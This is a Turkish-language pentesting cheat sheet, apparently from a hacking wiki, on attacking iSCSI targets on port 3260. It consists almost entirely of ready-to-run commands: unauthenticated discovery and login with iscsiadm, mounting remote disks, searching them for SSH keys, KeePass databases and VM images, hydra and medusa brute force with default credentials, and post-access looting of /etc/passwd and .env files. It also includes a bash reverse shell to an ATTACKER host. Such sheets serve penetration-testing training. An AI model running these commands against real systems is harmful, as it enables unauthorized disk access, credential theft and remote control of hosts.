3260 - Pentesting ISCSI
iSCSI storage
iSCSI disk hedefleri sunar. Auth’suz discovery + login = uzak blok cihazı mount. Hedef lab IP’si üzerinde komutları 3260 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
3260 doğrula.
-
SendTargets discovery.
-
Auth’suz login dene.
-
LUN mount edip dosya sistemini oku.
nmap -Pn -sV -p3260 TARGETnmap -Pn -p3260 --script iscsi-info TARGETiscsiadm -m discovery -t sendtargets -p TARGETnmap -p3260 --script iscsi-info TARGETiscsiadm -m node -T iqn.target -p TARGET --loginCHAP yoksa doğrudan loginiscsiadm -m node -T iqn.target -p TARGET -o update -n node.session.auth.username -v userMount & loot
Section titled “Mount & loot”fdisk -lmount /dev/sdb1 /mntfind /mnt -name '*.kdbx' -o -name 'id_rsa' -o -name '*.vmdk' 2>/dev/null | headDerin enum
Section titled “Derin enum”ISCSI için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p3260 TARGETnmap -Pn -p3260 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:3260' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',3260));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → ISCSIKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 3260 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3260nmap -p3260 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit iSCSImsfconsole -q -x 'search iSCSI; exit'nuclei -u https://TARGET:3260 -t cves/ -silent -severity || truenuclei -u http://TARGET:3260 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 3260printf '' | timeout 3 nc -nv TARGET 3260curl -vk --http1.0 http://TARGET:3260/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”discovery → login → mount LUN → credential files